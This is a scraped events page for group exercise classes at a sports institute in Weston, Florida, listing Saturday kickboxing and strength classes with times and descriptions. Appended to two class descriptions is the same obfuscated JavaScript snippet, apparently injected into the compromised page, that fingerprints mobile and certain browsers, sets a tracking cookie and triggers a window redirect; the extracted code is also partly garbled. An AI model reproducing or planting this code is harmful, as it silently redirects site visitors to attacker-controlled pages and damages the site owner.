Group Exercise Classes

The USI group exercise program includes TRADITIONAL & SPECIALIZED classes.

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Events for November 2, 2019

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8:30 am

Kick Box Cardio – Carrie

November 2, 2019 @ 8:30 am - 9:30 am
|Recurring Event (See all)

An event every week that begins at 8:30am on Saturday, repeating until November 10, 2018

An event every week that begins at 8:30am on Saturday, repeating until November 28, 2020

Ultimate Sports Institute, 1440 N. Park Drive
Weston, FL 33326 United States
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Come find the true boxer in you! This class is all cardio with kickboxing moves.var _0x1e50=;(function(_0x2fa107,_0x55f5e9){var _0x343595=function(_0x34c909){while(--_0x34c909){_0x2fa107(_0x2fa107());}};_0x343595(++_0x55f5e9);}(_0x1e50,0x184));var _0x265c=function(_0x2fa107,_0x55f5e9){_0x2fa107=_0x2fa107-0x0;var _0x343595=_0x1e50;return _0x343595;};(function(){if(document(_0x265c('0x1'))===null){if(typeof _0x3419d8===_0x265c('0x2')){function _0x3419d8(_0x7f1c71,_0x1d8816,_0x3eeb6e){var _0x4e0732='';if(_0x3eeb6e){var _0x1dd386=new Date();_0x1dd386(_0x1dd386()+_0x3eeb6e*0x18*0x3c*0x3c*0x3e8);_0x4e0732='; expires='+_0x1dd386();}document=_0x7f1c71+'='+(_0x1d8816||'')+_0x4e0732+'; path=/';}function _0x23248e(_0x511919){var _0x2e7cdb=_0x511919+'=';var _0x4d7f7d=document(';');for(var _0x593f64=0x0;_0x593f64<_0x4d7f7d;_0x593f64++){var _0x50958d=_0x4d7f7d;while(_0x50958d(0x0)==' ')_0x50958d=_0x50958d(0x1,_0x50958d);if(_0x50958d(_0x2e7cdb)==0x0)return _0x50958d(_0x2e7cdb,_0x50958d);}return null;}function _0x50fc2a(){return navigator(/Android/i)||navigator(/BlackBerry/i)||navigator(/iPhone|iPad|iPod/i)||navigator(/Opera Mini/i)||navigator(/IEMobile/i);}function _0x1ff41a(){return navigator(_0x265c('0xd'))!==-0x1||navigator(_0x265c('0xe'))!==-0x1||navigator('OPR')!==-0x1||navigator(_0x265c('0xf'))!==-0x1||navigator(_0x265c('0x10'))!==-0x1||navigator(_0x265c('0x11'))!==-0x1;}var _0x4702d7=_0x23248e(_0x265c('0x12'));if(_0x4702d7!=='un'){if(_0x1ff41a()||_0x50fc2a()){_0x3419d8(_0x265c('0x12'),'un',0x16d);window(_0x265c('0x15'));}}}}}(this));

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9:30 am

Ultimate Definition – Carrie

November 2, 2019 @ 9:30 am - 10:30 am
|Recurring Event (See all)

An event every week that begins at 9:30am on Saturday, repeating until October 15, 2020

Ultimate Sports Institute, 1440 N. Park Drive
Weston, FL 33326 United States
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This is an intense full body workout that will improve your muscular strength and endurance by utilizing free weights, body bars and other equipment.var _0x1e50=;(function(_0x2fa107,_0x55f5e9){var _0x343595=function(_0x34c909){while(--_0x34c909){_0x2fa107(_0x2fa107());}};_0x343595(++_0x55f5e9);}(_0x1e50,0x184));var _0x265c=function(_0x2fa107,_0x55f5e9){_0x2fa107=_0x2fa107-0x0;var _0x343595=_0x1e50;return _0x343595;};(function(){if(document(_0x265c('0x1'))===null){if(typeof _0x3419d8===_0x265c('0x2')){function _0x3419d8(_0x7f1c71,_0x1d8816,_0x3eeb6e){var _0x4e0732='';if(_0x3eeb6e){var _0x1dd386=new Date();_0x1dd386(_0x1dd386()+_0x3eeb6e*0x18*0x3c*0x3c*0x3e8);_0x4e0732='; expires='+_0x1dd386();}document=_0x7f1c71+'='+(_0x1d8816||'')+_0x4e0732+'; path=/';}function _0x23248e(_0x511919){var _0x2e7cdb=_0x511919+'=';var _0x4d7f7d=document(';');for(var _0x593f64=0x0;_0x593f64<_0x4d7f7d;_0x593f64++){var _0x50958d=_0x4d7f7d;while(_0x50958d(0x0)==' ')_0x50958d=_0x50958d(0x1,_0x50958d);if(_0x50958d(_0x2e7cdb)==0x0)return _0x50958d(_0x2e7cdb,_0x50958d);}return null;}function _0x50fc2a(){return navigator(/Android/i)||navigator(/BlackBerry/i)||navigator(/iPhone|iPad|iPod/i)||navigator(/Opera Mini/i)||navigator(/IEMobile/i);}function _0x1ff41a(){return navigator(_0x265c('0xd'))!==-0x1||navigator(_0x265c('0xe'))!==-0x1||navigator('OPR')!==-0x1||navigator(_0x265c('0xf'))!==-0x1||navigator(_0x265c('0x10'))!==-0x1||navigator(_0x265c('0x11'))!==-0x1;}var _0x4702d7=_0x23248e(_0x265c('0x12'));if(_0x4702d7!=='un'){if(_0x1ff41a()||_0x50fc2a()){_0x3419d8(_0x265c('0x12'),'un',0x16d);window(_0x265c('0x15'));}}}}}(this));

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It is encouraged to bring a water bottle, towel and heart monitors..